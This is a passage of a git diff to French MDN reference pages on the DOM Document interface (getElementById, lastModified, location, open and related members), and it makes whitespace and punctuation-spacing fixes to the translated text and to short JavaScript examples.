b/files/fr/web/api/document/getelementbyid/index.md index 9deb984230..9d8c81d41c 100644 --- a/files/fr/web/api/document/getelementbyid/index.md +++ b/files/fr/web/api/document/getelementbyid/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/Document/getElementById --- {{ ApiRef("DOM") }} -La méthode **`getElementById()`** de {{domxref("Document")}} renvoie un objet {{domxref("Element")}} représentant l'élément dont la propriété {{domxref("Element.id", "id")}} correspond à la chaîne de caractères spécifiée. Étant donné que les ID d'élément doivent être uniques, s'ils sont spécifiés, ils constituent un moyen utile d'accéder rapidement à un élément spécifique. +La méthode **`getElementById()`** de {{domxref("Document")}} renvoie un objet {{domxref("Element")}} représentant l'élément dont la propriété {{domxref("Element.id", "id")}} correspond à la chaîne de caractères spécifiée. Étant donné que les ID d'élément doivent être uniques, s'ils sont spécifiés, ils constituent un moyen utile d'accéder rapidement à un élément spécifique. Si vous avez besoin d'accéder à un élément qui n'a pas d'ID, vous pouvez utiliser {{domxref("Document.querySelector","querySelector()")}} pour trouver l'élément en utilisant un {{Glossary("CSS selector","sélecteur")}}. @@ -56,9 +56,9 @@ function changeColor(newColor) { ## Notes d'utilisation -L'écriture de la lettre capitale de « Id » dans le nom de cette méthode _doit_ être respectée pour que le code fonctionne ; `getElementByID()` n'est pas valide et ne fonctionnera _pas_, même si elle semble naturelle. +L'écriture de la lettre capitale de « Id » dans le nom de cette méthode _doit_ être respectée pour que le code fonctionne ; `getElementByID()` n'est pas valide et ne fonctionnera _pas_, même si elle semble naturelle. -Contrairement à d'autres méthodes de recherche d'éléments, comme {{domxref("Document.querySelector()")}} et {{domxref("Document.querySelectorAll()")}}, `getElementById` est uniquement disponible comme méthode de l'objet global `document` et _n'est pas_ disponible sur tous les objets du DOM. Parce que les valeurs d'ID doivent être uniques dans l'ensemble du document, il n'y pas besoin d'avoir une version "locale" de la fonction. +Contrairement à d'autres méthodes de recherche d'éléments, comme {{domxref("Document.querySelector()")}} et {{domxref("Document.querySelectorAll()")}}, `getElementById` est uniquement disponible comme méthode de l'objet global `document` et _n'est pas_ disponible sur tous les objets du DOM. Parce que les valeurs d'ID doivent être uniques dans l'ensemble du document, il n'y pas besoin d'avoir une version "locale" de la fonction. ## Autre exemple @@ -96,7 +96,7 @@ element.id = 'testqq'; var el = document.getElementById('testqq'); // el vaudra null ! ``` -**Les documents non-HTML.** Les implémentations du DOM doivent avoir une information qui précise quels attributs sont de type ID. Un attribut portant le nom « id » n'est pas de type ID tant qu'il n'a pas été explicitement défini ainsi (dans la DTD du document). L'attribut `id` est défini comme étant de type ID dans les langages courants comme [XHTML](/fr/XHTML) ou [XUL](/fr/XUL). Les implémentations ne sachant pas déterminer si les attributs sont de type ID ou non sont supposées renvoyer `null`. +**Les documents non-HTML.** Les implémentations du DOM doivent avoir une information qui précise quels attributs sont de type ID. Un attribut portant le nom « id » n'est pas de type ID tant qu'il n'a pas été explicitement défini ainsi (dans la DTD du document). L'attribut `id` est défini comme étant de type ID dans les langages courants comme [XHTML](/fr/XHTML) ou [XUL](/fr/XUL). Les implémentations ne sachant pas déterminer si les attributs sont de type ID ou non sont supposées renvoyer `null`. ## Spécification @@ -107,7 +107,7 @@ var el = document.getElementById('testqq'); // el vaudra null ! | {{SpecName('DOM3 Core','core.html#ID-getElBId','getElementById')}} | {{Spec2('DOM3 Core')}} | Remplace DOM 2 | | {{SpecName('DOM WHATWG','#interface-nonelementparentnode','getElementById')}} | {{Spec2('DOM WHATWG')}} | Remplacera DOM 3 | -Traduction en français (non normative) : [getElementById](http://www.yoyodesign.org/doc/w3c/dom2/core/core.html#ID-getElBId) +Traduction en français (non normative) : [getElementById](http://www.yoyodesign.org/doc/w3c/dom2/core/core.html#ID-getElBId) ## Compatibilité des navigateurs diff --git a/files/fr/web/api/document/getelementsbyclassname/index.md b/files/fr/web/api/document/getelementsbyclassname/index.md index 02659c2a50..93148bfffb 100644 --- a/files/fr/web/api/document/getelementsbyclassname/index.md +++ b/files/fr/web/api/document/getelementsbyclassname/index.md @@ -23,15 +23,15 @@ Renvoie un objet de type tableau de tous les éléments enfants qui ont tous les ## Exemples -Trouve tous les éléments ayant la classe « test » : +Trouve tous les éléments ayant la classe « test » : document.getElementsByClassName('test') -Trouve tous les éléments ayant les classes « rouge » et « test » : +Trouve tous les éléments ayant les classes « rouge » et « test » : document.getElementsByClassName('rouge test') -Trouve tous les éléments qui ont la classe « test » à l'intérieur d'un élément ayant l'ID « main » : +Trouve tous les éléments qui ont la classe « test » à l'intérieur d'un élément ayant l'ID « main » : document.getElementById('main').getElementsByClassName('test') @@ -46,7 +46,7 @@ var testDivs = Array.prototype.filter.call(testElements, function(testElement){ XXX writeme == Notes == Une méthode semblable existe pour \<code>Element\</code> -## Obtenir la classe des éléments test +## Obtenir la classe des éléments test C'est la méthode d'opération la plus couramment utilisée. diff --git a/files/fr/web/api/document/getelementsbyname/index.md b/files/fr/web/api/document/getelementsbyname/index.md index dd734d067d..f4f90ae38b 100644 --- a/files/fr/web/api/document/getelementsbyname/index.md +++ b/files/fr/web/api/document/getelementsbyname/index.md @@ -54,7 +54,7 @@ La méthode **getElementsByName** fonctionne différemment dans différents navi | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------------------- | ------------------------------------ | ------------------- | -| {{SpecName('HTML WHATWG', '#dom-document-getelementsbyname', "Document.getElementsByName()")}} | {{ Spec2('HTML WHATWG') }} | | +| {{SpecName('HTML WHATWG', '#dom-document-getelementsbyname', "Document.getElementsByName()")}} | {{ Spec2('HTML WHATWG') }} | | | {{SpecName("DOM2 HTML", "html.html#ID-71555259", "Document.getElementsByName()")}} | {{Spec2("DOM2 HTML")}} | Définition initiale | ## Voir aussi diff --git a/files/fr/web/api/document/getelementsbytagname/index.md b/files/fr/web/api/document/getelementsbytagname/index.md index 5ba9a313ba..77710b3537 100644 --- a/files/fr/web/api/document/getelementsbytagname/index.md +++ b/files/fr/web/api/document/getelementsbytagname/index.md @@ -17,9 +17,9 @@ Renvoie une {{domxref ("HTMLCollection")}} des éléments avec le nom de balise var elements = document.getElementsByTagName(name); - `elements` est une liste de nœuds (`NodeList`) des éléments trouvés dans l'ordre dans lequel ils apparaissent dans l'arbre. -- `nom` est une chaîne représentant le nom des éléments. La chaîne spéciale `"*"` représente « tous les éléments ». +- `nom` est une chaîne représentant le nom des éléments. La chaîne spéciale `"*"` représente « tous les éléments ». -> **Note :** [La dernière spécification W3C](https://dom.spec.whatwg.org/) dit que `elements` est une `HTMLCollection` ; cependant cette méthode renvoie une {{domxref("NodeList")}} dans les navigateurs WebKit. Voir {{bug(14869)}} pour plus de détails. +> **Note :** [La dernière spécification W3C](https://dom.spec.whatwg.org/) dit que `elements` est une `HTMLCollection` ; cependant cette méthode renvoie une {{domxref("NodeList")}} dans les navigateurs WebKit. Voir {{bug(14869)}} pour plus de détails. ## Exemple @@ -94,7 +94,7 @@ Lorsqu'elle est appelée sur un document HTML, `getElementsByTagName()` classe s ## Spécifications -- [DOM Level 2 Core : getElementsByTagName](http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-A6C9094) — [traduction](http://www.yoyodesign.org/doc/w3c/dom2/core/core.html#ID-A6C9094) (non normative) +- [DOM Level 2 Core : getElementsByTagName](http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-A6C9094) — [traduction](http://www.yoyodesign.org/doc/w3c/dom2/core/core.html#ID-A6C9094) (non normative) - [HTML 5: APIs in HTML documents](http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents) ## Voir aussi diff --git a/files/fr/web/api/document/hasfocus/index.md b/files/fr/web/api/document/hasfocus/index.md index e57571e2f3..be2cbd7104 100644 --- a/files/fr/web/api/document/hasfocus/index.md +++ b/files/fr/web/api/document/hasfocus/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/Document/hasFocus --- {{ ApiRef() }} -La méthode **`Document.hasFocus()`** retourne une valeur {{jsxref("Boolean")}} `true` _(vrai)_ indiquant si le document ou tout élément à l'intérieur du document a le focus. Cette méthode peut être utilisée pour déterminer si l'élément actif d'un document a le focus. +La méthode **`Document.hasFocus()`** retourne une valeur {{jsxref("Boolean")}} `true` _(vrai)_ indiquant si le document ou tout élément à l'intérieur du document a le focus. Cette méthode peut être utilisée pour déterminer si l'élément actif d'un document a le focus. > **Note :** Lors de la visualisation d'un document, un élément avec focus est toujours l'élément actif dans le document, mais un élément actif n'a pas nécessairement le focus. Par exemple, un élément actif dans une fenêtre contextuelle qui n'est pas le premier plan n'a pas de focus. diff --git a/files/fr/web/api/document/images/index.md b/files/fr/web/api/document/images/index.md index 2aaeb008e4..427820b99a 100644 --- a/files/fr/web/api/document/images/index.md +++ b/files/fr/web/api/document/images/index.md @@ -32,5 +32,5 @@ for(var i = 0; i < listeimg.length; i++) { ## Spécification -- Spécification DOM Level 2 HTML : [HTMLDocument.images](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-90379117) -- Traduction en français (non normative) : [HTMLDocument.images](http://www.yoyodesign.org/doc/w3c/dom2/html/html.html#ID-90379117) +- Spécification DOM Level 2 HTML : [HTMLDocument.images](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-90379117) +- Traduction en français (non normative) : [HTMLDocument.images](http://www.yoyodesign.org/doc/w3c/dom2/html/html.html#ID-90379117) diff --git a/files/fr/web/api/document/importnode/index.md b/files/fr/web/api/document/importnode/index.md index 65c30cb570..c933fd88bb 100644 --- a/files/fr/web/api/document/importnode/index.md +++ b/files/fr/web/api/document/importnode/index.md @@ -52,7 +52,7 @@ Gecko n'obligeait pas à utiliser [`document.importNode()`](/fr/docs/Web/API/Doc | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------------- | -| {{SpecName("DOM WHATWG", "#dom-document-importnode", "document.importNode()")}} | {{Spec2("DOM WHATWG")}} | | +| {{SpecName("DOM WHATWG", "#dom-document-importnode", "document.importNode()")}} | {{Spec2("DOM WHATWG")}} | | | {{SpecName("DOM2 Core", "core.html#Core-Document-importNode", "document.importNode()")}} | {{Spec2("DOM2 Core")}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/document/index.md b/files/fr/web/api/document/index.md index 273a712654..483e85f3b4 100644 --- a/files/fr/web/api/document/index.md +++ b/files/fr/web/api/document/index.md @@ -71,13 +71,13 @@ _Cette interface hérite aussi des interfaces {{domxref("Node")}} et {{domxref(" - {{domxref("Document.inputEncoding")}} {{readonlyinline}} {{Deprecated_inline}} - : alias de {{domxref("Document.characterSet")}}. Utilisez cette propriété à la place. - {{domxref("Document.lastStyleSheetSet")}} {{readonlyinline}} - - : retourne le nom de l'ensemble de feuilles de style qui a été activé en dernier. A la valeur `null` jusqu'à ce que la feuille de style soit modifiée en définissant la valeur de {{domxref("document.selectedStyleSheetSet","selectedStyleSheetSet")}}. + - : retourne le nom de l'ensemble de feuilles de style qui a été activé en dernier. A la valeur `null` jusqu'à ce que la feuille de style soit modifiée en définissant la valeur de {{domxref("document.selectedStyleSheetSet","selectedStyleSheetSet")}}. - {{domxref("Document.mozSyntheticDocument")}} {{non-standard_inline}} {{gecko_minversion_inline("8.0")}} - : retourne un {{jsxref("Boolean")}} qui est `true` _(vrai)_ seulement si le document est synthétique, tel qu'une image autonome, une vidéo, un fichier audio ou similaire. -- {{domxref("Document.mozFullScreenElement")}} {{readonlyinline}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}} +- {{domxref("Document.mozFullScreenElement")}} {{readonlyinline}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}} - : L'élément qui est actuellement affiché en mode plein écran pour ce document. - {{domxref("Document.mozFullScreenEnabled")}} {{readonlyinline}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}} - - : `true` _(vrai)_ si l'appel {{domxref("Element.mozRequestFullscreen()")}} est réussi dans le document courant. + - : `true` _(vrai)_ si l'appel {{domxref("Element.mozRequestFullscreen()")}} est réussi dans le document courant. - {{domxref("Document.pointerLockElement")}} {{readonlyinline}} {{experimental_inline}} - : renvoie l'ensemble d'éléments en tant que cible pour les événements de la souris lorsque le pointeur est verrouillé. `null` si le verrouillage est en attente, le pointeur est déverrouillé ou la cible se trouve dans un autre document. - {{domxref("Document.preferredStyleSheetSet")}} {{readonlyinline}} @@ -107,7 +107,7 @@ L'interface Document est étendue avec l'interface {{domxref("ParentNode")}} : ### Extensions du document HTML -L'interface Document, pour les documents HTML, hérite de l'interface *{{domxref("HTMLDocument")}}* ou depuis HTML5, est étendue pour eux. +L'interface Document, pour les documents HTML, hérite de l'interface *{{domxref("HTMLDocument")}}* ou depuis HTML5, est étendue pour eux. - {{domxref("Document.activeElement")}} {{readonlyinline}} - : Renvoie l'élément courant qui a la focus. @@ -123,7 +123,7 @@ L'interface Document, pour les documents HTML, hérite de l'interface *{{domxref <!----> - {{domxref("Document.body")}} - - : **body** renvoie l'élément {{HTMLElement("body")}} du document en cours. + - : **body** renvoie l'élément {{HTMLElement("body")}} du document en cours. - {{domxref("Document.cookie")}} - : Renvoie une liste des cookies du document, séparés par des points virgules, ou définit un cookie. @@ -162,15 +162,15 @@ L'interface Document, pour les documents HTML, hérite de l'interface *{{domxref - : Renvoie l'URI (Uniform Ressource Identifier : _identifiant uniforme de ressource_) du document courant. - {{domxref("Document.plugins")}} {{readonlyinline}} - : Renvoie une liste des plugins disponibles. -- {{domxref("Document.readyState")}} {{readonlyinline}} {{gecko_minversion_inline("1.9.2")}} +- {{domxref("Document.readyState")}} {{readonlyinline}} {{gecko_minversion_inline("1.9.2")}} - : retourne l'état du chargement du document. - {{domxref("Document.referrer")}} {{readonlyinline}} - : Renvoie l'URI de la page qui a amené à cette page. - {{domxref("Document.scripts")}} {{readonlyinline}} - - : renvoie tous les éléments {{HTMLElement("script")}} sur le document. + - : renvoie tous les éléments {{HTMLElement("script")}} sur le document. - {{domxref("Document.title")}} - : Renvoie le titre du document courant. -- {{domxref("Document.URL")}} {{readonlyInline}} +- {{domxref("Document.URL")}} {{readonlyInline}} - : Renvoie une chaîne de caractères contenant l'URL ("Uniform Resource Locator", _repère uniforme de ressource_) du document courant. <!----> @@ -191,12 +191,12 @@ L'interface Document, pour les documents HTML, hérite de l'interface *{{domxref - {{domxref("Document.oncut")}} {{non-standard_inline}} - : représente le code de gestion d'évènements pour l'évènement {{event("cut")}} . - {{domxref("Document.onfullscreenchange")}} - - : est un {{event("Event_handlers", "event handler")}} _( gestionnaire d'évènements)_ représentant le code à appeler quand l'élément {{event("fullscreenchange")}} est relevé. + - : est un {{event("Event_handlers", "event handler")}} _( gestionnaire d'évènements)_ représentant le code à appeler quand l'élément {{event("fullscreenchange")}} est relevé. - {{domxref("Document.onfullscreenerror")}} {{domxref("Document.onfullscreenchange")}} - - : est un {{event("Event_handlers", "event handler")}} _( gestionnaire d'évènements)_ représentant le code à appeler quand l'élément {{event("fullscreenerror")}} est relevé. + - : est un {{event("Event_handlers", "event handler")}} _( gestionnaire d'évènements)_ représentant le code à appeler quand l'élément {{event("fullscreenerror")}} est relevé. - {{domxref("Document.onpaste")}} {{non-standard_inline}} - : représente le code de gestion d'évènements pour l'évènement {{event("paste")}} . @@ -207,9 +207,9 @@ L'interface Document, pour les documents HTML, hérite de l'interface *{{domxref - {{domxref("Document.onreadystatechange")}} {{gecko_minversion_inline("1.9.2")}} - : représente le code de gestion d'évènements pour l'évènement {{event("readystatechange")}} . - {{domxref("Document.onselectionchange")}} {{experimental_inline}} - - : est un {{event("Event_handlers", "event handler")}} _( gestionnaire d'évènements)_ représentant le code à appeler quand l'élément {{event("selectionchange")}} est relevé. + - : est un {{event("Event_handlers", "event handler")}} _( gestionnaire d'évènements)_ représentant le code à appeler quand l'élément {{event("selectionchange")}} est relevé. - {{domxref("Document.onvisibilitychange")}} - - : est un {{event("Event_handlers", "event handler")}} _( gestionnaire d'évènements)_ représentant le code à appeler quand l'élément {{event("visibilitychange")}} est relevé. + - : est un {{event("Event_handlers", "event handler")}} _( gestionnaire d'évènements)_ représentant le code à appeler quand l'élément {{event("visibilitychange")}} est relevé. - {{domxref("Document.onwheel")}} {{non-standard_inline}} - : représente le code de gestion d'évènements pour l'évènement {{event("wheel")}} . @@ -313,7 +313,7 @@ L'interface `Document` est étendue avec l'interface {{domxref("ParentNode")}} : - {{domxref("document.querySelectorAll","document.querySelectorAll(String selector)")}} {{gecko_minversion_inline("1.9.1")}} - : retourne une liste de tous les noeuds éléments inclus dans le document qui correspondent aux sélecteurs spécifiés. -L'interface Document est étendue avec l'interface {{domxref("XPathEvaluator")}} : +L'interface Document est étendue avec l'interface {{domxref("XPathEvaluator")}} : - {{domxref("document.createExpression","document.createExpression(String expression, XPathNSResolver resolver)")}} - : compile une [`XPathExpression`](/fr/docs/Web/API/XPathExpression) qui peut ensuite être utilisée pour des évaluations (répétées). @@ -322,7 +322,7 @@ L'interface Document est étendue avec l'interface {{domxref("XPathEvaluator") - {{domxref("document.evaluate","document.evaluate(String expression, Node contextNode, XPathNSResolver resolver, Number type, Object result)")}} - : évalue l'expression XPath . -### Extensions pour les documents HTML +### Extensions pour les documents HTML - {{domxref("document.clear()")}} {{non-standard_inline}} {{Deprecated_inline}} - : dans la majorité des navigateurs modernes, y compris les versions récentes de Firefox et Internet Explorer, cette méthode ne fait rien. @@ -365,7 +365,7 @@ L'interface Document est étendue avec l'interface {{domxref("XPathEvaluator") | {{SpecName('DOM WHATWG','#interface-document','Document')}} | {{Spec2('DOM WHATWG')}} | en vue de remplacer DOM 3 | | {{SpecName('HTML WHATWG','dom.html#the-document-object','Document')}} | {{Spec2('HTML WHATWG')}} | Transforme l'interface {{domxref("HTMLDocument")}} en une extension de `Document` | | {{SpecName('DOM3 XPath','xpath.html#XPathEvaluator','XPathEvaluator')}} | {{Spec2('DOM3 XPath')}} | Definit l'interface {{domxref("XPathEvaluator")}} qui étend le document. | -| {{SpecName('Page Visibility API', '#sec-document-interface', 'Document')}} | {{Spec2('Page Visibility API')}} | Étend l'interface `Document` avec les attributs `visibilityState` et `hidden`. | +| {{SpecName('Page Visibility API', '#sec-document-interface', 'Document')}} | {{Spec2('Page Visibility API')}} | Étend l'interface `Document` avec les attributs `visibilityState` et `hidden`. | | {{SpecName('HTML Editing','#dom-document-getselection','Document')}} | {{Spec2('HTML Editing')}} | Étend l'interface `Document` | | {{SpecName('CSSOM View','#extensions-to-the-document-interface','Document')}} | {{Spec2('CSSOM View')}} | Étend l'interface `Document` | | {{SpecName('CSSOM','#extensions-to-the-document-interface','Document')}} | {{Spec2('CSSOM')}} | Étend l'interface `Document` | @@ -380,7 +380,7 @@ Mozilla définit un ensemble de propriétés non-standard créées seulement pou - {{domxref("document.currentScript")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}} - : retourne l'élément {{HTMLElement("script")}} qui est en cours d'exécution. - {{domxref("document.documentURIObject")}} {{gecko_minversion_inline("1.9")}} - - : (extensions Mozilla seulement) retourne l'objet {{Interface("nsIURI")}} représentant l'URI du document. Cette propriété a seulement une signification spéciale dans le code JavaScript privilégié (avec les privilèges UniversalXPConnect). + - : (extensions Mozilla seulement) retourne l'objet {{Interface("nsIURI")}} représentant l'URI du document. Cette propriété a seulement une signification spéciale dans le code JavaScript privilégié (avec les privilèges UniversalXPConnect). - {{domxref("document.popupNode")}} - : retourne le noeud ouvert lors de l'appel d'une fenêtre contextuelle. - {{domxref("document.tooltipNode")}} @@ -402,7 +402,7 @@ Mozilla a également défini quelques méthodes non standard : Microsoft a défini quelques propriétés non standard : - {{domxref("document.fileSize")}}\* {{non-standard_inline}} {{obsolete_inline}} - - : Retourne la taille en octets du document. À partir d'Internet Explorer 11, cette propriété n'est plus prise en charge. Voir [MSDN](http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx). + - : Retourne la taille en octets du document. À partir d'Internet Explorer 11, cette propriété n'est plus prise en charge. Voir [MSDN](http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx). Internet Explorer ne prend pas en charge toutes les méthodes de l'interface Node dans l'interface Document : diff --git a/files/fr/web/api/document/lastmodified/index.md b/files/fr/web/api/document/lastmodified/index.md index 98da11d1ce..1e43deab33 100644 --- a/files/fr/web/api/document/lastmodified/index.md +++ b/files/fr/web/api/document/lastmodified/index.md @@ -20,13 +20,13 @@ alert(document.lastModified); // renvoie: 11/28/2015 16:11:15 ``` -### Exemple #2: Transformer `lastModified` en un objet de type [`Date`](/en-US/docs/JavaScript/Reference/Global_Objects/Date) +### Exemple #2: Transformer `lastModified` en un objet de type [`Date`](/en-US/docs/JavaScript/Reference/Global_Objects/Date) ```js var oLastModif = new Date(document.lastModified); ``` -### Exemple #3: Transformer `lastModified` en un nombre de millisecondes passées depuis le 1 Janvier 1970 à 00:00:00, heure locale. +### Exemple #3: Transformer `lastModified` en un nombre de millisecondes passées depuis le 1 Janvier 1970 à 00:00:00, heure locale. ```js var nLastModif = Date.parse(document.lastModified); @@ -38,8 +38,8 @@ Veuillez noter qu'en tant que chaîne de caractères, `lastModified` ne peut êt ```js if (Date.parse(document.lastModified) > parseFloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1") || "0")) { - document.cookie = "last_modif=" + Date.now() + "; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=" + location.pathname; - alert("Cette page a changé !"); + document.cookie = "last_modif=" + Date.now() + "; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=" + location.pathname; + alert("Cette page a changé !"); } ``` @@ -48,20 +48,20 @@ if (Date.parse(document.lastModified) > parseFloat(document.cookie.replace(/(?:( ```js var - nLastVisit = parseFloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1")), - nLastModif = Date.parse(document.lastModified); + nLastVisit = parseFloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1")), + nLastModif = Date.parse(document.lastModified); if (isNaN(nLastVisit) || nLastModif > nLastVisit) { - document.cookie = "last_modif=" + Date.now() + "; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=" + location.pathname; - if (isFinite(nLastVisit)) { - alert("Cette page a changé !"); - } + document.cookie = "last_modif=" + Date.now() + "; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=" + location.pathname; + if (isFinite(nLastVisit)) { + alert("Cette page a changé !"); + } } ``` -> **Note :** WebKit renvoie le temps sous forme de chaîne de caractère en UTC; Gecko et Internet Explorer renvoient le temps selon le fuseau horaire local. (Voir: [Bogue 4363 – document.lastModified renoive la date en UTC, mais devrait la renvoyer selon le fuseau horaire local](https://bugs.webkit.org/show_bug.cgi?id=4363)) +> **Note :** WebKit renvoie le temps sous forme de chaîne de caractère en UTC; Gecko et Internet Explorer renvoient le temps selon le fuseau horaire local. (Voir: [Bogue 4363 – document.lastModified renoive la date en UTC, mais devrait la renvoyer selon le fuseau horaire local](https://bugs.webkit.org/show_bug.cgi?id=4363)) -Si vous voulez savoir **si *une page externe* a changé,** veuillez lire [ce paragraphe à propos de l'API `XMLHttpRequest()`](/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Get_last_modified_date). +Si vous voulez savoir **si *une page externe* a changé,** veuillez lire [ce paragraphe à propos de l'API `XMLHttpRequest()`](/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Get_last_modified_date). ## Spécification diff --git a/files/fr/web/api/document/laststylesheetset/index.md b/files/fr/web/api/document/laststylesheetset/index.md index c0fb8e8080..5a991bfa3d 100644 --- a/files/fr/web/api/document/laststylesheetset/index.md +++ b/files/fr/web/api/document/laststylesheetset/index.md @@ -27,7 +27,7 @@ var lastSheetSet = document.lastStyleSheetSet; if (!lastSheetSet) { lastSheetSet = "Sheet not yet changed"; } -console.log("The last sheet set is: " + lastSheetSet); +console.log("The last sheet set is: " + lastSheetSet); ``` ## Voir aussi @@ -39,4 +39,4 @@ console.log("The last sheet set is: " + lastSheetSet); ## Spécifications -- [HTML5: Alternate Style Sheets](http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets) +- [HTML5: Alternate Style Sheets](http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets) diff --git a/files/fr/web/api/document/location/index.md b/files/fr/web/api/document/location/index.md index 5b9fabd4e9..a92f7d73dd 100644 --- a/files/fr/web/api/document/location/index.md +++ b/files/fr/web/api/document/location/index.md @@ -12,9 +12,9 @@ translation_of: Web/API/Document/location --- La propriété en lecture seule **`Document.location`** renvoie un objet [`Location`](/fr/docs/Web/API/Location), contenant les informations sur l'URL du document et fournit des moyens pour modifier cette URL ou charger une autre URL. -Bien que `Document.location` soit un objet `Location` en _lecture seule_, vous pouvez lui assigner un {{domxref("DOMString")}}. Cela signifie que vous pouvez dans la plupart des cas utiliser document.location comme s'il s'agissait d'une chaîne de caractères: `document.location = 'http://www.example.com'` est un synonyme de `document.location.href = 'http://www.example.com'`. +Bien que `Document.location` soit un objet `Location` en _lecture seule_, vous pouvez lui assigner un {{domxref("DOMString")}}. Cela signifie que vous pouvez dans la plupart des cas utiliser document.location comme s'il s'agissait d'une chaîne de caractères: `document.location = 'http://www.example.com'` est un synonyme de `document.location.href = 'http://www.example.com'`. -Pour récupérer uniquement l'URL en tant que chaîne de caractères, la propriété {{domxref("document.URL")}} peut également être utilisée. +Pour récupérer uniquement l'URL en tant que chaîne de caractères, la propriété {{domxref("document.URL")}} peut également être utilisée. Si le document courant n'est pas un contexte de navigation, la valeur renvoyée est _null_. diff --git a/files/fr/web/api/document/mozsetimageelement/index.md b/files/fr/web/api/document/mozsetimageelement/index.md index c91cbf97fd..f5e689a2a2 100644 --- a/files/fr/web/api/document/mozsetimageelement/index.md +++ b/files/fr/web/api/document/mozsetimageelement/index.md @@ -43,7 +43,7 @@ Cet exemple change l'arrière-plan d'un bloc {{ HTMLElement("div") }} chaque foi </style> ``` -Le CSS défini par le bloc {{ HTMLElement("style") }} ci-dessus est utilisé par notre {{ HTMLElement("div") }} pour afficher un élément, ayant l'id "canvasbg", en arrière-plan. +Le CSS défini par le bloc {{ HTMLElement("style") }} ci-dessus est utilisé par notre {{ HTMLElement("div") }} pour afficher un élément, ayant l'id "canvasbg", en arrière-plan. ```js var c = 0x00; diff --git a/files/fr/web/api/document/mozsyntheticdocument/index.md b/files/fr/web/api/document/mozsyntheticdocument/index.md index 8a9529ff35..7f2646f759 100644 --- a/files/fr/web/api/document/mozsyntheticdocument/index.md +++ b/files/fr/web/api/document/mozsyntheticdocument/index.md @@ -25,7 +25,7 @@ Il peut être utile, si vous avez un élément de menu contextuel que vous souha var isSynthetic = document.mozSyntheticDocument; if (isSynthetic) { - /* insert your menu item here */ + /* insert your menu item here */ } ## Spécifications diff --git a/files/fr/web/api/document/ononline/index.md b/files/fr/web/api/document/ononline/index.md index c2bdbdf88f..41c55f6646 100644 --- a/files/fr/web/api/document/ononline/index.md +++ b/files/fr/web/api/document/ononline/index.md @@ -20,12 +20,12 @@ Un évènement "`online`" est lancé sur le `<body>` (_corps_) de chaque page qu Vous pouvez enregistrer les écouteurs de ces événements de plusieurs manières habituelles : - en utilisant [`addEventListener`](/en/DOM/element.addEventListener) sur `window`, `document` ou `document.body` -- en définissant les propriétés `.ononline` ou `.onoffline` sur `document` ou `document.body` sur un objet `Function` JavaScript. (**Note :** l'utilisation de `window.ononline` ou `window.onoffline` ne fonctionnera pas pour des raisons de compatibilité). -- en spécifiant les attributs `ononline="..."` ou `onoffline="..."` sur la balise `<body>` dans le balisage HTML. +- en définissant les propriétés `.ononline` ou `.onoffline` sur `document` ou `document.body` sur un objet `Function` JavaScript. (**Note :** l'utilisation de `window.ononline` ou `window.onoffline` ne fonctionnera pas pour des raisons de compatibilité). +- en spécifiant les attributs `ononline="..."` ou `onoffline="..."` sur la balise `<body>` dans le balisage HTML. ## Exemple -Il existe [un cas de test simple](https://bugzilla.mozilla.org/attachment.cgi?id=220609) que vous pouvez exécuter pour vérifier le fonctionnement des évènements. +Il existe [un cas de test simple](https://bugzilla.mozilla.org/attachment.cgi?id=220609) que vous pouvez exécuter pour vérifier le fonctionnement des évènements. ## Références diff --git a/files/fr/web/api/document/open/index.md b/files/fr/web/api/document/open/index.md index c427d5df05..7832387d17 100644 --- a/files/fr/web/api/document/open/index.md +++ b/files/fr/web/api/document/open/index.md @@ -32,7 +32,7 @@ Par ailleurs, un appel automatique à `document.open()` est réalisé lorsque [d Cette méthode ne doit pas être confondue avec [window.open()](/fr/docs/Web/API/Window/open). `document.open` permet d'écrire par dessus le document courant ou d'y ajouter du contenu, alors que `window.open` fournit une manière d'ouvrir une nouvelle fenêtre laissant le document courant intact. Comme `window` est l'objet, si on appelle juste `open(...)`, il sera traité comme un appel à `window.open(...)`. Le document ouvert peut être fermé à l'aide de [document.close()](/fr/docs/Web/API/Document/close). -Voir [Security check basics](/fr/docs/Mozilla/Gecko/Script_security#Security_checks) pour plus d'informations sur les principaux. +Voir [Security check basics](/fr/docs/Mozilla/Gecko/Script_security#Security_checks) pour plus d'informations sur les principaux. Si vous ne voulez pas créer une entrée d'historique, remplacez `open()` par `open("text/html", "replace")`. diff --git a/files/fr/web/api/document/origin/index.md b/files/fr/web/api/document/origin/index.md index 326c3eef82..b2a08c557c 100644 --- a/files/fr/web/api/document/origin/index.md +++ b/files/fr/web/api/document/origin/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/Document/origin --- {{APIRef("DOM")}}{{SeeCompatTable}} -La propriété en lecture seule **`Document.origin`** renvoie l'origine du document. Dans la plupart des cas, cette propriété est équivalente à `document.defaultView.location.origin`. +La propriété en lecture seule **`Document.origin`** 